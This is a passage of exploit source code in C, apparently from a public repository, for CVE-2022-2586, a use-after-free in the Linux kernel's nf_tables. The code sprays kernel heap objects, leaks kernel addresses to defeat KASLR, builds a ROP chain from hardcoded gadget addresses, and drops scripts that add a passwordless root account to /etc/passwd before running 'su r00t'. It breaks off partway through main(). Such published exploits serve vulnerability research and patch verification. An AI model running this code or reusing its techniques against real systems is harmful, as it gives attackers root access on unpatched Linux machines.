-
Notifications
You must be signed in to change notification settings - Fork 7
/
LPE.c
1215 lines (937 loc) · 33.4 KB
/
LPE.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/*
* LPE N-day Exploit for CVE-2022-2586: Linux kernel nft_object UAF
* gcc exploit.c -o exploit -lmnl -lnftnl -no-pie -lpthread
* Author: Alejandro Guerrero <aguerrero@qualys.com>
* Copyright (C) 2022 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <linux/ip.h>
#include <errno.h>
#include <sched.h>
#include <ctype.h>
#include <pthread.h>
#include <fcntl.h>
#include <unistd.h>
#include <stddef.h>
#include <time.h>
#include <signal.h>
#include <sys/resource.h>
#include <linux/netfilter.h>
#include <libnftnl/chain.h>
#include <libnftnl/table.h>
#include <libnftnl/set.h>
#include <libnftnl/object.h>
#include <libnftnl/expr.h>
#include <libmnl/libmnl.h>
#include <linux/netfilter/nf_tables.h>
#define OFF_TO_OBJ_LST 184
#define TABLE_KLK_UAF_A "table1_klk"
#define TABLE_KLK_UAF_B "table2_klk"
#define SET_KLK_UAF "set1_klk"
#define TABLE_HLK_UAF_A "table1_hlk"
#define TABLE_HLK_UAF_B "table2_hlk"
#define TABLE_OBJ_SPRAY_A "table3_hlk"
#define SET_HLK_UAF "set1_hlk"
#define TABLE_RD_UAF_A "table1_rd"
#define TABLE_RD_UAF_B "table2_rd"
#define OBJ_RD_UAF "obj1_rd"
#define SET_RD_UAF "set1_rd"
#define TABLE_RP_UAF_A "table1_rp"
#define TABLE_RP_UAF_B "table2_rp"
#define OBJ_RP_UAF "obj1_rp"
#define SET_RP_UAF "set1_rp"
#define CHAIN_RP_UAF "chain1_rp"
#define DEFAULT_BASE 0xffffffff81000000
#define MAX_FDS 1024
#define OBJ_DEF_NAME 8
#define SINGLE_OPEN_OFF 0x37c890
#define MAX_SPRAY_TABLES 4096*3
#define TRIG_HOST "127.0.0.1"
#define TRIG_PORT 1337
#define UNSHARE_PATH "/bin/unshare"
#define DUMMY_MODPROBE_TRIGGER "/tmp/p"
#define CALLBACK_ROOT_SCRIPT "/tmp/x"
#define DEF_CORE 3
#define SA struct sockaddr
typedef enum {
OBJECT_TYPE_UNKNOWN,
OBJECT_TYPE_COUNTER,
OBJECT_TYPE_LIMIT
} obj_t;
/* Function prototype definitions */
void launch_trigger(void);
void delete_table(char *);
void dummy_func(void);
/* Leaked addresses */
uint64_t tbl_leaked_addr = 0;
uint64_t obj_leaked_addr = 0;
uint64_t so_leaked_addr = 0;
/* KASLR base */
uint64_t kaslr_base = DEFAULT_BASE;
/* Addresses for functions or ROP gadgets */
uint64_t stack_pivot_addr = 0xffffffff817479b6; // push rdi ; pop rsp ; add cl, cl ; ret
uint64_t pop_rdi_ret = 0xffffffff810a06e0; // pop rdi ; ret
uint64_t xor_dh_dh_ret = 0xffffffff81537a39; // xor dh, dh ; ret
uint64_t mov_rdi_rax_jne_xor_eax_eax_ret = 0xffffffff815ee2f4; // mov rdi, rax ; jne 0xffffffff815ee2e1 ; xor eax, eax ; ret
uint64_t commit_creds = 0xffffffff810e1520; // commit_creds()
uint64_t prepare_kernel_cred = 0xffffffff810e1780; // prepare_kernel_cred()
uint64_t kpti_trampoline = 0xffffffff81e01006; // swapgs_restore_regs_and_return_to_usermode + 22
uint64_t pop_rdx_ret = 0xffffffff81022ab2; // pop rdx ; ret
uint64_t pop_rax_ret = 0xffffffff81046361; // pop rax ; ret
uint64_t mov_qptr_rdx_rax_ret = 0xffffffff8165aa85; // mov qword ptr [rdx], rax ; ret
uint64_t modprobe_path = 0xffffffff82e8a0e0; // modprobe_path
/* Saved userland registers */
uint64_t user_rip = (uint64_t)dummy_func;
uint64_t user_cs = 0;
uint64_t user_rflags = 0;
uint64_t user_sp = 0;
uint64_t user_ss = 0;
/* file descriptors for seq_operations spraying */
int fds[MAX_FDS] = { 0 };
int first_tbl_sp = 1;
char **tbl_ptr = NULL;
void dummy_func(void) {
exit(0);
return;
}
/* Exit printing a message before */
void bye(const char *msg) {
if(msg != NULL)
puts(msg);
exit(1);
return;
}
/* Launch the trigger and get root! */
void launch_trigger(void) {
system(DUMMY_MODPROBE_TRIGGER " 2>/dev/null");
system("su r00t");
return;
}
/* Prepare dummy script and callback script */
void drop_callback_scripts(void) {
system("bash -c \"echo -e '\xff\xff\xff\xff\xff\xff' > " DUMMY_MODPROBE_TRIGGER "\"");
system("chmod +x " DUMMY_MODPROBE_TRIGGER);
system("echo '#!/bin/bash' > " CALLBACK_ROOT_SCRIPT);
system("echo 'echo \"r00t::0:0:r00t:/:/bin/sh\" >> /etc/passwd' >> " CALLBACK_ROOT_SCRIPT);
system("chmod +x " CALLBACK_ROOT_SCRIPT);
return;
}
/* Save initial userland registers */
void save_state(void) {
__asm__(".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax");
return;
}
/* Hexdump utility for debugging purposes */
void hexdump(void *mem, unsigned int len) {
unsigned int i = 0, j = 0;
for(i = 0; i < len + ((len % 16) ? (16 - len % 16) : 0); i++) {
if(i % 16 == 0)
printf("0x%06x: ", i);
if(i < len)
printf("%02x ", 0xFF & ((char*)mem)[i]);
else
printf(" ");
if(i % 16 == (16 - 1)) {
for(j = i - (16 - 1); j <= i; j++) {
if(j >= len)
putchar(' ');
else if(isprint(((char*)mem)[j]))
putchar(0xFF & ((char*)mem)[j]);
else
putchar('.');
}
putchar('\n');
}
}
return;
}
/* Assign to a specific CPU core */
void assign_to_core(int core_id) {
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(core_id, &mask);
if(sched_setaffinity(getpid(), sizeof(mask), &mask) < 0)
bye("[-] Error at sched_setaffinity()");
return;
}
/* Modify process rlimit for RLIMIT_NOFILE */
void modify_rlimit(void) {
struct rlimit old_lim, lim, new_lim;
if(getrlimit(RLIMIT_NOFILE, &old_lim) != 0)
bye("[-] Error in getrlimit()");
lim.rlim_cur = old_lim.rlim_max;
lim.rlim_max = old_lim.rlim_max;
if(setrlimit(RLIMIT_NOFILE, &lim) == -1)
bye("[-] Error at setrlimit()");
return;
}
/* Generate a random name */
char *generate_rnd_name(void) {
char dict[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890_";
char *ptr = calloc(OBJ_DEF_NAME + 1, sizeof(char));
if(!ptr)
bye("[-] Error at calloc()");
for(int i = 0 ; i < OBJ_DEF_NAME ; i++)
ptr[i] = dict[rand() % strlen(dict)];
return ptr;
}
/* Append a table to the list of sprayed ones */
void tbl_append_name(char *table_name) {
int i = 0, s = 0;
if(!tbl_ptr)
bye("[-] tbl_ptr uninitialized");
while(i < MAX_SPRAY_TABLES) {
if(tbl_ptr[i] == NULL) {
s = 1;
tbl_ptr[i] = strdup(table_name);
break;
}
i++;
}
if(!s)
bye("[-] Value MAX_SPRAY_TABLES exceeded");
return;
}
/* Cleanup all the tables we sprayed with */
void cleanup_spray_tables(void) {
int i = 0;
if(!tbl_ptr)
bye("[-] tbl_ptr uninitialized");
while(i < MAX_SPRAY_TABLES) {
if(tbl_ptr[i] != NULL)
delete_table(tbl_ptr[i]);
i++;
}
return;
}
/* Spray with nla_memdup() allocations (arbitrary data and size) */
void spray_memdup(void *spray_data, size_t spray_size, size_t n) {
struct mnl_socket *s = NULL;
struct mnl_nlmsg_batch *batch = NULL;
struct nlmsghdr *nh = NULL;
int r = 0, seq = 0;
char buf[16384] = { 0 };
char *table_name = NULL;
struct nftnl_table *table = NULL;
size_t i = 0;
assign_to_core(DEF_CORE);
if(first_tbl_sp) {
first_tbl_sp = 0;
tbl_ptr = calloc(MAX_SPRAY_TABLES + 1, sizeof(char *));
if(!tbl_ptr)
bye("[-] Error at calloc()");
}
while(i < n) {
table_name = generate_rnd_name();
tbl_append_name(table_name);
s = mnl_socket_open(NETLINK_NETFILTER);
if(!s)
bye("[-] Failed to create netfilter socket");
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
table = nftnl_table_alloc();
nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name);
nftnl_table_set_data(table, NFTNL_TABLE_USERDATA, spray_data, spray_size);
nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, NFPROTO_IPV4, NLM_F_CREATE, seq++);
nftnl_table_nlmsg_build_payload(nh, table);
mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
r = mnl_socket_sendto(s, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch));
if(r < 0)
bye("[-] Failed to send message");
i++;
}
return;
}
/* Callback setelem get */
static int set_cb(const struct nlmsghdr *nlh, void *data) {
struct nftnl_set *t;
char buf[4096];
uint32_t *type = data;
t = nftnl_set_alloc();
if (t == NULL) {
perror("OOM");
goto err;
}
if (nftnl_set_elems_nlmsg_parse(nlh, t) < 0) {
perror("nftnl_set_nlmsg_parse");
goto err_free;
}
nftnl_set_snprintf(buf, sizeof(buf), t, *type, 0);
err_free:
nftnl_set_free(t);
err:
return MNL_CB_OK;
}
/* Parse obj name retrieval output for pointer parsing */
uint64_t parse_uaf_obj_name_leak(char *table, char *set, off_t off, int p) {
uint64_t ptr = 0;
struct mnl_socket *nl = NULL;
char buf[MNL_SOCKET_BUFFER_SIZE];
struct nlmsghdr *nlh = NULL;
uint32_t portid = 0, seq = 0;
uint32_t type = NFTNL_OUTPUT_DEFAULT;
struct nftnl_set *t = NULL;
uint64_t *lk_p = NULL;
int ret = 0;
int i = 0;
assign_to_core(DEF_CORE);
t = nftnl_set_alloc();
if(!t)
bye("[-] Error at nftnl_set_alloc()");
nlh = nftnl_set_nlmsg_build_hdr(buf, NFT_MSG_GETSETELEM, NFPROTO_IPV4, NLM_F_DUMP | NLM_F_ACK, seq++);
nftnl_set_set(t, NFTNL_SET_NAME, set);
nftnl_set_set(t, NFTNL_SET_TABLE, table);
nftnl_set_elems_nlmsg_build_payload(nlh, t);
nl = mnl_socket_open(NETLINK_NETFILTER);
if(!nl)
bye("[-] Error at mnl_socket_open()");
if(mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0)
bye("[-] Error at mnl_socket_bind()");
portid = mnl_socket_get_portid(nl);
if(mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0)
bye("[-] Error at mnl_socket_sendto()");
ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
while (ret > 0) {
ret = mnl_cb_run(buf, ret, seq, portid, set_cb, &type);
if (ret <= 0)
break;
ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
}
//hexdump(buf, 512);
if(p) {
while(i < 512) {
if(buf[i] == '\xff' && buf[i+1] == '\xff') {
if(i <= 6)
bye("[-] Unknown data");
//puts("B");
lk_p = (uint64_t *)((buf + i)-6);
//printf("debug 0x%lx\n", *lk_p);
return *lk_p;
}
i++;
}
}
lk_p = (uint64_t *)(buf + off);
mnl_socket_close(nl);
return *lk_p;
}
/* Spray with nft_object allocations */
uint64_t spray_nft_object(char *table_name, size_t n, char *l_table_name, char *l_set_name) {
struct mnl_socket *s = NULL;
struct mnl_nlmsg_batch *batch = NULL;
struct nlmsghdr *nh = NULL;
int r = 0, seq = 0;
char buf[16384] = { 0 };
char *obj_name = NULL;
struct nftnl_obj *obj = NULL;
size_t i = 0;
uint64_t leaked_addr = 0;
assign_to_core(DEF_CORE);
while(i < n) {
s = mnl_socket_open(NETLINK_NETFILTER);
if(!s)
bye("[-] Failed to create netfilter socket");
seq = 0;
memset(buf, 0, sizeof(buf));
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
obj_name = generate_rnd_name();
obj = nftnl_obj_alloc();
nftnl_obj_set_str(obj, NFTNL_OBJ_NAME, obj_name);
nftnl_obj_set_str(obj, NFTNL_OBJ_TABLE, table_name);
nftnl_obj_set_u32(obj, NFTNL_OBJ_TYPE, NFT_OBJECT_COUNTER);
nftnl_obj_set_u64(obj, NFTNL_OBJ_CTR_BYTES, 0);
printf("\t[i] Creating NFT_OBJECT_COUNTER object '%s'...\n", obj_name);
nh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWOBJ, NFPROTO_IPV4, NLM_F_CREATE, seq++);
nftnl_obj_nlmsg_build_payload(nh, obj);
mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
r = mnl_socket_sendto(s, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch));
if(r < 0)
bye("[-] Failed to send message");
sleep(1.4);
leaked_addr = parse_uaf_obj_name_leak(l_table_name, l_set_name, 0x40 + 12, 0);
//printf("0x%lx\n", leaked_addr);
if(leaked_addr != 0 && ((leaked_addr & 0xffff000000000000) == 0xffff000000000000))
break;
i++;
}
return leaked_addr;
}
/* Delete a netfilter table */
void delete_table(char *table_name) {
struct mnl_socket *s = NULL;
struct mnl_nlmsg_batch *batch = NULL;
struct nlmsghdr *nh = NULL;
int r = 0;
int seq = 0;
char buf[16384] = { 0 };
struct nftnl_table *table = NULL;
assign_to_core(DEF_CORE);
s = mnl_socket_open(NETLINK_NETFILTER);
if(!s)
bye("[-] Failed to create netfilter socket");
table = nftnl_table_alloc();
nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name);
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELTABLE, NFPROTO_IPV4, NLM_F_CREATE, seq++);
nftnl_table_nlmsg_build_payload(nh, table);
mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
r = mnl_socket_sendto(s, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch));
if(r < 0)
bye("[-] Failed to send message");
return;
}
/* Pause function for debugging purposes */
void pause_x(void) {
char c = 0;
int r = 0;
puts("[i] Press any key to continue...");
r = read(0, &c, sizeof(char));
if(r < 0)
bye("[-] Error from pause_x()");
return;
}
/* Repeat a char n times and return a string */
char *str_repeat(char c, size_t n) {
char *ptr = calloc(n + 1, sizeof(char));
if(!ptr)
bye("[-] Error at calloc()");
for(int i = 0 ; i < n ; i++)
ptr[i] = c;
return ptr;
}
/* Create a netfilter table */
void create_table(char *table_name) {
struct mnl_socket *s = NULL;
struct mnl_nlmsg_batch *batch = NULL;
struct nlmsghdr *nh = NULL;
int r = 0;
int seq = 0;
char buf[16384] = { 0 };
struct nftnl_table *table = NULL;
table = nftnl_table_alloc();
nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name);
s = mnl_socket_open(NETLINK_NETFILTER);
if(!s)
bye("[-] Failed to create netfilter socket");
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, NFPROTO_IPV4, NLM_F_CREATE, seq++);
nftnl_table_nlmsg_build_payload(nh, table);
mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
r = mnl_socket_sendto(s, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch));
if(r < 0)
bye("[-] Failed to send message");
return;
}
/* Prepare a UAF condition by cross-referencing an object from one table to another */
void create_uaf(char *table_1, char *table_2, char *obj_n, char *set_n, obj_t obj_type, int is_s_trick, char *s_trick_name, int x) {
struct mnl_socket *s = NULL;
struct mnl_nlmsg_batch *batch = NULL;
struct nlmsghdr *nh = NULL;
int r = 0;
int seq = 0;
uint16_t klen[64] = { 1 };
char buf[16384] = { 0 };
struct nftnl_table *table = NULL;
struct nftnl_table *table2 = NULL;
struct nftnl_table *table3 = NULL;
struct nftnl_set_elem *slem = NULL;
struct nftnl_obj *obj = NULL;
struct nftnl_set *sx = NULL;
struct nftnl_set *set = NULL;
struct nftnl_chain *chain = NULL;
if(obj_type == OBJECT_TYPE_UNKNOWN)
bye("[-] Unknown object type");
s = mnl_socket_open(NETLINK_NETFILTER);
if(!s)
bye("[-] Failed to create netfilter socket");
table = nftnl_table_alloc();
nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_1);
table2 = nftnl_table_alloc();
nftnl_table_set_str(table2, NFTNL_TABLE_NAME, table_2);
if(is_s_trick) {
table3 = nftnl_table_alloc();
nftnl_table_set_str(table3, NFTNL_TABLE_NAME, s_trick_name);
}
obj = nftnl_obj_alloc();
nftnl_obj_set_str(obj, NFTNL_OBJ_NAME, obj_n);
nftnl_obj_set_str(obj, NFTNL_OBJ_TABLE, table_1);
if(x) {
chain = nftnl_chain_alloc();
nftnl_chain_set(chain, NFTNL_CHAIN_NAME, CHAIN_RP_UAF);
nftnl_chain_set(chain, NFTNL_CHAIN_TABLE, table_2);
nftnl_chain_set_data(chain, NFTNL_CHAIN_TYPE, strdup("filter"), 0);
nftnl_chain_set_u32(chain, NFTNL_CHAIN_HOOKNUM, NF_INET_LOCAL_OUT);
nftnl_chain_set_u32(chain, NFTNL_CHAIN_PRIO, 0);
}
if(obj_type == OBJECT_TYPE_LIMIT) {
nftnl_obj_set_u32(obj, NFTNL_OBJ_TYPE, NFT_OBJECT_LIMIT);
nftnl_obj_set_u64(obj, NFTNL_OBJ_LIMIT_RATE, 1);
nftnl_obj_set_u64(obj, NFTNL_OBJ_LIMIT_UNIT, 1);
} else if(obj_type == OBJECT_TYPE_COUNTER) {
nftnl_obj_set_u32(obj, NFTNL_OBJ_TYPE, NFT_OBJECT_COUNTER);
nftnl_obj_set_u64(obj, NFTNL_OBJ_CTR_BYTES, 0);
} else
bye("[-] Unknown object type");
set = nftnl_set_alloc();
nftnl_set_set_str(set, NFTNL_SET_NAME, set_n);
nftnl_set_set_str(set, NFTNL_SET_TABLE, table_2);
nftnl_set_set_u32(set, NFTNL_SET_FAMILY, NFPROTO_IPV4);
nftnl_set_set_u32(set, NFTNL_SET_KEY_LEN, sizeof(uint16_t));
nftnl_set_set_u32(set, NFTNL_SET_KEY_TYPE, 13);
nftnl_set_set_u32(set, NFTNL_SET_ID, htonl(0xcafe));
nftnl_set_set_u32(set, NFTNL_SET_FLAGS, NFT_SET_OBJECT); // NFT_SET_ANONYMOUS
if(obj_type == OBJECT_TYPE_LIMIT)
nftnl_set_set_u32(set, NFTNL_SET_OBJ_TYPE, NFT_OBJECT_LIMIT);
else if(obj_type == OBJECT_TYPE_COUNTER)
nftnl_set_set_u32(set, NFTNL_SET_OBJ_TYPE, NFT_OBJECT_COUNTER);
else
bye("[-] Unknown object type");
sx = nftnl_set_alloc();
nftnl_set_set_str(sx, NFTNL_SET_TABLE, table_1);
nftnl_set_set_u32(sx, NFTNL_SET_ID, htonl(0xcafe));
klen[0] = htons(TRIG_PORT);
slem = nftnl_set_elem_alloc();
nftnl_set_elem_set(slem, NFTNL_SET_ELEM_KEY, &klen, sizeof(uint16_t));
nftnl_set_elem_set_str(slem, NFTNL_SET_ELEM_OBJREF, obj_n);
nftnl_set_elem_add(sx, slem);
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, NFPROTO_IPV4, NLM_F_CREATE, seq++);
nftnl_table_nlmsg_build_payload(nh, table);
mnl_nlmsg_batch_next(batch);
nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, NFPROTO_IPV4, NLM_F_CREATE, seq++);
nftnl_table_nlmsg_build_payload(nh, table2);
mnl_nlmsg_batch_next(batch);
if(is_s_trick) {
nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, NFPROTO_IPV4, NLM_F_CREATE, seq++);
nftnl_table_nlmsg_build_payload(nh, table3);
mnl_nlmsg_batch_next(batch);
}
nh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWOBJ, NFPROTO_IPV4, NLM_F_CREATE, seq++);
nftnl_obj_nlmsg_build_payload(nh, obj);
mnl_nlmsg_batch_next(batch);
if(x) {
nh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, NFPROTO_IPV4, NLM_F_CREATE, seq++);
nftnl_chain_nlmsg_build_payload(nh, chain);
mnl_nlmsg_batch_next(batch);
}
nh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, NFPROTO_IPV4, NLM_F_CREATE, seq++);
nftnl_set_nlmsg_build_payload(nh, set);
mnl_nlmsg_batch_next(batch);
nh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSETELEM, NFPROTO_IPV4, NLM_F_CREATE, seq++);
nftnl_set_elems_nlmsg_build_payload(nh, sx);
mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
r = mnl_socket_sendto(s, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch));
if(r < 0)
bye("[-] Failed to send message");
return;
}
/* Once having KASLR base, recalculate offsets */
void recalculate_from_kaslr_base(void) {
uint64_t k_diff = kaslr_base - DEFAULT_BASE;
commit_creds += k_diff;
prepare_kernel_cred += k_diff;
mov_rdi_rax_jne_xor_eax_eax_ret += k_diff;
pop_rdi_ret += k_diff;
xor_dh_dh_ret += k_diff;
stack_pivot_addr += k_diff;
kpti_trampoline += k_diff;
modprobe_path += k_diff;
pop_rdx_ret += k_diff;
pop_rax_ret += k_diff;
mov_qptr_rdx_rax_ret += k_diff;
return;
}
/* Set up a hook for output packets using a set with key destination port and value a referenced counter */
void set_up_hook(char *table, char *set, char *chain) {
char *cmd = NULL;
asprintf(&cmd, "nft add rule %s %s counter name tcp dport map @%s", table, chain, set);
system(cmd);
return;
}
/* Connect to a server in a specific port to trigger netfilter hooks */
void trig_net_sock(void) {
int sockfd = 0, connfd = 0;
struct sockaddr_in servaddr, cli;
bzero(&servaddr, sizeof(servaddr));
bzero(&cli, sizeof(cli));
printf("\t[*] Connecting to 127.0.0.1:%d...\n", TRIG_PORT);
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if(sockfd == -1)
bye("[-] Socket creation failed");
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = inet_addr(TRIG_HOST);
servaddr.sin_port = htons(TRIG_PORT);
if(connect(sockfd, (SA*)&servaddr, sizeof(servaddr)) != 0)
bye("[-] Connection with server failed");
write(sockfd, "AAAA", 4);
close(sockfd);
return;
}
/* Spray with seq_operations structs */
void spray_seq_op_loop(void) {
int fds[MAX_FDS] = { 0 };
int i = 0;
assign_to_core(DEF_CORE);
modify_rlimit();
while(i < MAX_FDS) {
fds[i] = open("/proc/self/stat", O_RDONLY);
i++;
}
return;
}
/* Set up a server to receive hook-triggering output packets */
void setup_trig_server(void) {
int sfd = 0, sock = 0, r = 0;
struct sockaddr_in address;
int opt = 1;
int addrlen = sizeof(address);
char buffer[1024] = { 0 };
if((sfd = socket(AF_INET, SOCK_STREAM, 0)) == 0)
bye("[-] Error at socket()");
if(setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &opt, sizeof(opt)))
bye("[-] Error at setsockopt()");
address.sin_family = AF_INET;
address.sin_addr.s_addr = INADDR_ANY;
address.sin_port = htons(TRIG_PORT);
if(bind(sfd, (struct sockaddr*)&address, sizeof(address)) < 0)
bye("[-] Error at bind()");
if(listen(sfd, 3) < 0)
bye("[-] Error at listen()");
if((sock = accept(sfd, (struct sockaddr*)&address, (socklen_t*)&addrlen)) < 0)
bye("[-] Error at accept()");
r = read(sock, buffer, 4);
sleep(3);
close(sock);
close(sfd);
return;
}
int main(int argc, char *argv[]) {
struct mnl_socket *s = NULL;
struct mnl_nlmsg_batch *batch = NULL;
struct nlmsghdr *nh = NULL;
int r = 0, seq = 0;
uint16_t klen[64] = { 1 };
char buf[16384] = { 0 };
char *klk_obj_name = NULL;
char *hlk_obj_name = NULL;
char *sp_d = NULL;
uint64_t *sp_d_l = NULL;
char *sp2_d = NULL;
uint64_t *sp2_d_l = NULL;
char *rop_d = NULL;
uint64_t *rop_d_l = NULL;
size_t klk_tries = 0;
pthread_t tx;
void *retval = NULL;
int pid = 0;
int fd = 0;
int pipefd[2] = { 0 };
int sfd = 0, cfd = 0;
int is_success = 0;
char *pipefd_str = NULL;
if(geteuid() == 0)
goto EXP_P;
pipe(pipefd);
/*
Drop callback scripts to achieve LPE from modprobe usermode
